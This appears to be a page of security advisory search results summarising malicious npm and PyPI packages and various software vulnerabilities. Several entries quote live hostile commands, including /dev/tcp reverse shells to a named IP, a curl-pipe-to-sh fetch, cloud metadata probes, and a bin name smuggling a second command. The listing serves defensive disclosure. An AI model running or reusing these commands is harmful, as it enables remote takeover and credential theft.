163867 matches found
Malicious code in test1sdsd2 (npm)
Source: amazon-inspector 3c7bd7c5932337e17adaf4900cb7e29766fe6b5307bd170b38660dd05497ebdc Package [email protected] declares preinstall and postinstall hooks in package.json that execute index.js on npm install. index.js performs an HTTP GET to the hardcoded bare IP...
Malicious code in npx-test-ma980 (npm)
Source: amazon-inspector adfd1e5f7cc282648da56cdf50ac9c3cb27d6165fa4a3f8f3625b4a0c2694be6 package.json declares a bin entry whose key contains shell metacharacters and a chained command: "tool & calc.exe": "./run.js". On Windows, npm's bin shim/symlink generation and later invocation via npm...
Malicious code in @nimbsuedge3/xar (npm)
Source: amazon-inspector 85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output...
Malicious code in @nimbusedge2/x (npm)
Source: amazon-inspector 45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a hardcode...
Malicious code in @nimbusedge2/authxsas (npm)
Source: amazon-inspector 0146259024cc8ef3a174ff98571fe4af975b3eecf9184a0a5339d42808243d10 The package's package.json declares a preinstall script that fires unconditionally on npm install. The script uses curl to query the cloud instance metadata service via the nip.io wildcard-DNS resolver...
Malicious code in @nimbusedge2/xa (npm)
Source: amazon-inspector 537505221bc3cd73b0d5a60062d6ad127211b2d1be1f1cdfdac13053e2224a11 package.json declares a preinstall lifecycle script that runs an interactive bash reverse shell to the hardcoded host 147.93.157.202.nip.io on TCP port 8080 and pipes the shell's output through curl to...
Malicious code in @nimbusedge2/authxsas1 (npm)
Source: amazon-inspector 0b27280b8f4c1e044e49b77e58c7c8de895a002f51be51756bc40e909d3f6fa1 package.json declares a preinstall lifecycle script that runs automatically on npm install. The script uses curl to fetch the cloud instance metadata service 169.254.169.254, accessed via the nip.io...
Malicious code in @baanx/solana-lib (npm)
Source: amazon-inspector 6462ecac2764fc9cf78d47ee57fec1fd3d6a0cf573ee02eaddcc2e5b5f3f0d7e The package declares scripts.install = node index.js, so npm install @baanx/solana-lib automatically executes index.js, which loads lib/core.js. That module reads the installer's username os.userInfo.usernam...
Malicious code in @nimbusedge2/auth (npm)
Source: amazon-inspector 00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba @nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs bash -i with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that...
Malicious code in @pwaplatform/module-sso-integration (npm)
Source: ossf-package-analysis 774cfab0bd1150e7f7e40819176562e4e19983d87b347f5a55a0b60dfbbca7d3 The OpenSSF Package Analysis project identified '@pwaplatform/module-sso-integration' @ 99.0.0 npm as malicious. It is considered malicious because: - The package communicates with a domain associated...
Duplicate Advisory: hono/jsx renders plain strings unescaped in boundary components, leading to XSS
Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-hxh3-vqpv-xpqv. This link is maintained to preserve external references. Original Description hono before 4.13.7 fails to HTML-escape plain strings rendered by hono/jsx as a child or fallback of Suspense, as a...
Malicious code in urc (PyPI)
Source: kam193 abbaafd909f0cd09835c29c401432a9aa6094c2007973ba23e70f3fe06b07785 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTEST - Packages looking like typical pentest packages, but al...
Malicious code in keroeltop (npm)
Source: ossf-package-analysis 89aae084914d96e7e7620a79371083c4e1bb4a838fac1633aff257c5a380eab8 The OpenSSF Package Analysis project identified 'keroeltop' @ 99.99.99 npm as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity...
Malicious code in py-venv-doctor (PyPI)
Source: kam193 f98f9dd8cd5b70474786eb054bccf9de05d98face434e0a814123e51c090f364 During installation and after generating a healthcheck report, package sends opt-out telemetry. This telemetry data is used to exfiltrate the full environment variable set, including any sensitive variables. There is ...
Malware in internallib_v949
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...
Malicious code in x509-escaping (npm)
Source: amazon-inspector a0ac597bf732e187011fdef75554843eec3e581b18fdf2c0e83b4dd4aa559731 package.json declares preinstall: node index.js, so on npm install the shipped index.js runs automatically. It collects hostname, username, home directory, DNS servers, and current working directory, and rea...
Malicious code in chai-as-indexed (npm)
Source: amazon-inspector 424ebdaa04d4f7e8ce306f536421ac65d79467e73b05877caac6b72071bdaef9 The package's main entry index.js loads./lib/initializeCaller, which on require POSTs the full process.env of the installer's Node process to a base64-concealed endpoint at...
Malicious code in @shared-web/utils (npm)
Source: amazon-inspector 5425b12d827e5327939280ed16ddd0a613b28d0d728a0a8b193f342a666c65e9 package.json declares scripts.install: node index.js, which loads lib/core.js. On npm install, that module reads os.userInfo.username, os.hostname, and the current working directory basename, concatenates th...
Malicious code in internallib_v949 (npm)
Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script into sh to open a reverse shell to the hardcoded attacker...
Malicious code in tailwindcss-forms-ui (npm)
Source: amazon-inspector 6f2bdfef8937b1e6ef4979181693e00adbdfbe7521b8b240268f76beff8b3be8 The package name typosquats @tailwindcss/forms but its main entry src/index.js is a 39 KB obfuscator.io bundle 303-entry rotating string array, hex-named identifiers, control-flow flattening with no...
Malicious code in @shared-runtime/modules (npm)
Source: amazon-inspector bc6095cf4766c948193c22d8c0e775010fc3ab47733a1020fb8fd5367d88e5e9 @shared-runtime/[email protected] collects the installer's OS username os.userInfo.username, hostname os.hostname and current working-directory basename, then issues a dns.resolve4 query against a subdomain...
Malicious code in @insiderintelligence/googleadmanager (npm)
Source: amazon-inspector a659995af42be0d4f8360b45a37295eab4d68f513c6b3aa49903b3028e0567f5 The package's install lifecycle script runs node index.js, which loads lib/core.js. On install, that module collects os.userInfo.username, os.hostname, and the basename of the current working directory, then...
Withdrawn Advisory: http-cache-semantics max-stale handling can disclose cross-user cached responses
Withdrawn Advisory This advisory has been withdrawn because it's not a valid vulnerability. This link is maintained to preserve external references. Original Description http-cache-semantics through 4.2.0 fails to properly validate security-zeroed cache entries when processing client max-stale...
deepmerge mergeObject() allows prototype poisoning of returned objects
deepmerge through 4.3.1 contains a prototype poisoning vulnerability in the mergeObject function that fails to properly validate keys being written to target objects. Attackers can supply malicious source objects in merge operations to inject attacker-controlled properties into the returned...
source-map-js allows event-loop denial of service through indexed source-map section offsets
source-map-js through 1.2.1 fails to validate the per-section offset line value in indexed source maps, allowing attackers to specify arbitrary numeric values. Attackers can supply extremely large offset line values that cause synchronous event loop blocking for extended periods, preventing the...
Withdrawn Advisory: braces vulnerable to stack-exhaustion denial of service through deeply nested patterns
Withdrawn Advisory This advisory has been withdrawn because it's not a practically exploitable vulnerability. This link is maintained to preserve external references. Original Description braces through 3.0.3 contains a stack overflow vulnerability in the recursive AST walkers that lack depth...
Obot: Server-Side Request Forgery via remote MCP server URL
Summary In affected versions, the URL of a remote MCP server is attacker-controlled at registration and is fetched server-side with no validation of the destination. There is no guard against loopback, link-local, RFC1918 private ranges, or the cloud metadata endpoint 169.254.169.254, so a use wi...
Obot: MCP Registry API readable without authentication
Summary In affected versions, enabling registry authentication OBOTSERVERENABLEREGISTRYAUTH=true does not actually protect the MCP Registry endpoints under /v0.1/ — they remain readable by unauthenticated callers. Am I affected? You are affected if you run Obot = v0.22.1 with...
Obot: OAuth Dynamic Client Registration Enables API Token Theft via Audience Confusion
Summary In affected versions, an unauthenticated attacker could register an OAuth client with an arbitrary external redirect URI, and the authorization flow would auto-complete without a consent screen. If a logged-in victim visited a crafted authorization URL, an authorization code was delivered...
Paymenter has a credit-refund double-spend race condition in service downgrade (doUpgrade)
Summary The service downgrade implementation in app/Livewire/Services/Upgrade.php::doUpgrade executes a proration calculation and a subsequent user credit refund without any transactional safety or database locks. The only concurrency check relies on an unisolated database query checking for...
io.moquette:moquette-broker has a Missing Authorization issue
Summary Moquette MQTT Broker fails to enforce ACL write permission checks when publishing Will Last Will and Testament messages on behalf of disconnected clients. All normal PUBLISH paths receivedPublishQos0, receivedPublishQos1, receivedPublishQos2 correctly invoke authorizator.canWrite before...
Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass
Summary The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data. Severity: Critical CVSS 3.1:...
Perses's unvalidated project parameter enables filesystem path traversal
Impact When Perses is using the file system database, on the list endpoints, the project value is bound from the request into the resource Query struct and is never validated against directory-traversal characters validation/Flatten only runs for Create/Update bodies, not list queries. The path i...
Perses's missing authorization in datasource proxy allows cross-scope secret disclosure
Impact The datasource proxy authorizes the caller on the Datasource scope, then resolves and decrypts any Secret named in the request body with no Secret-scope check. Datasource and Secret are distinct, independently grantable role scopes, so an operator can grant datasource access without secret...
Perses's project query parameter authorization bypass exposes cross-project resources
Impact What kind of vulnerability is it? An authenticated user who is only a viewer on project team-a requests GET /api/v1/projects/team-a/dashboards?project=finance-secret or simply GET /api/v1/datasources?project=finance-secret and receives the full list of the finance-secret project's dashboar...
File Viewer: DOM XSS via unsafe hyperlink schemes in the legacy DOC renderer
Summary Before 2.3.1, the legacy .doc renderer emitted document hyperlink targets after HTML escaping but without a URL-scheme allowlist. A crafted .doc could therefore render a live javascript:, vbscript:, data:, or similarly unsafe link. Script could execute in the embedding origin if a viewer...
adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)
Summary adm-zip allocates an entry's output buffer from the declared uncompressed size central-directory size field before validating it against the actual data. A tiny crafted ZIP that declares a huge uncompressed size forces a multi-gigabyte allocation from a few bytes. Impact On adm-zip 0.5.17...
Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools
Summary A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into...
Convoy: Cross-Tenant Source IDOR Leaks Plaintext Message Broker Credentials
Summary frain-dev/convoy all versions up to and including v26.6.2, no patch available lets any authenticated caller who is authorized on at least one project read ANY OTHER project's "Source" record by ID via GET /api/v1/projects/projectID/sources/sourceID -- regardless of whether that Source...
md-editor-v3: XSS via fenced-code language rendering bypass
Summary MdPreview interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped XSSPlugin is enabled. Details useMarkdownIt packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206 registers a...
AnyCable: Telemetry Subsystem Contains Hardcoded Authentication Token and Transmits CLI Arguments Including Secrets
Summary The telemetry subsystem embeds a hardcoded auth token "secret" in the public source and transmits raw CLI arguments—including --secret, --jwtsecret, and --httprpcsecret values—to a third-party telemetry endpoint. Details In telemetry/config.go line 12, var authToken = "secret" is committe...
AnyIO run_process/open_process ignores extra_groups and can retain parent supplementary groups
AnyIO 4.14.0 accepts the POSIX extragroups argument on anyio.runprocess and anyio.openprocess, but openprocess forwards the wrong variable to the backend: when extragroups is not None, it assigns kwargs"extragroups" = group instead of extragroups. As a result, callers cannot reliably clear or set...
AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing
Impact Services using internationalized non-ASCII domain names are potentially vulnerable to TLS connections made from AnyIO's connecttcp or directly via TLSStream.wrap where the connection has through other means been hijacked and redirected to a malicious server. The attacker would obtain a...
AnyIO process-pool workers can block indefinitely on undrained stderr
Impact AnyIO starts process-pool workers with stderr connected to a pipe but never drains that pipe. The worker redirects stdin and stdout to /dev/null to protect its protocol, but does not redirect stderr even though the documentation says all three standard streams are redirected. Worker code...
AnyCable: Pusher REST API Does Not Verify Request Body MD5 Enabling Signed-Request Replay with Arbitrary Body
Summary The Pusher-compatible REST API includes bodymd5 in the HMAC signature string but never computes or verifies the MD5 of the received HTTP body, allowing anyone who observes a signed request to replay it with an entirely different body. Details In pusher/http.go, the Handler function extrac...
ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement
Summary A containerized MCP server running with the default network permission profile insecureallowall: true can reach host-local services via host.docker.internal. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's...
kcp front-proxy does not strip inbound X-Remote-* identity headers, allowing any authenticated client to inject groups/warrants and impersonate system:masters in any workspace
Summary The kcp front-proxy fails to strip client-supplied identity headers before forwarding requests to shards. Any authenticated tenant can inject their own X-Remote-Group and X-Remote-Extra- headers, which the shard trusts as a verified identity assertion — allowing a low-privilege user to...
zot: Bearer authentication maps DELETE to push scope, allowing unauthorized deletion
Summary A bearer token with only pull and push scopes can successfully delete manifests and blobs from a zot registry. The bearer authentication handler maps all non-GET/HEAD HTTP methods, including DELETE, to the "push" action, and the DistSpecAuthzHandler middleware is bypassed entirely for...
Capsule: hostnameRegexHandler.OnUpdate validates stale (old) Tenant regex, allowing invalid AllowedHostnames regex to bypass webhook validation
Summary A parameter order bug in internal/webhook/tenant/validation/hostnameregex.go causes the hostnameRegexHandler.OnUpdate webhook to validate the old Tenant object's AllowedHostnames.Regex instead of the new one being submitted. This allows an invalid malformed regex to bypass admission...
Capsule: Tenant owner bypasses Capsule's forbidden namespace/service/node label and annotation enforcement
Summary Capsule lets a cluster administrator forbid specific metadata keys that tenant owners must not place on their own resources: Tenant.spec.namespaceOptions.forbiddenLabels / forbiddenAnnotations namespaces, Tenant.spec.serviceOptions.forbiddenLabels / forbiddenAnnotations Services, and the...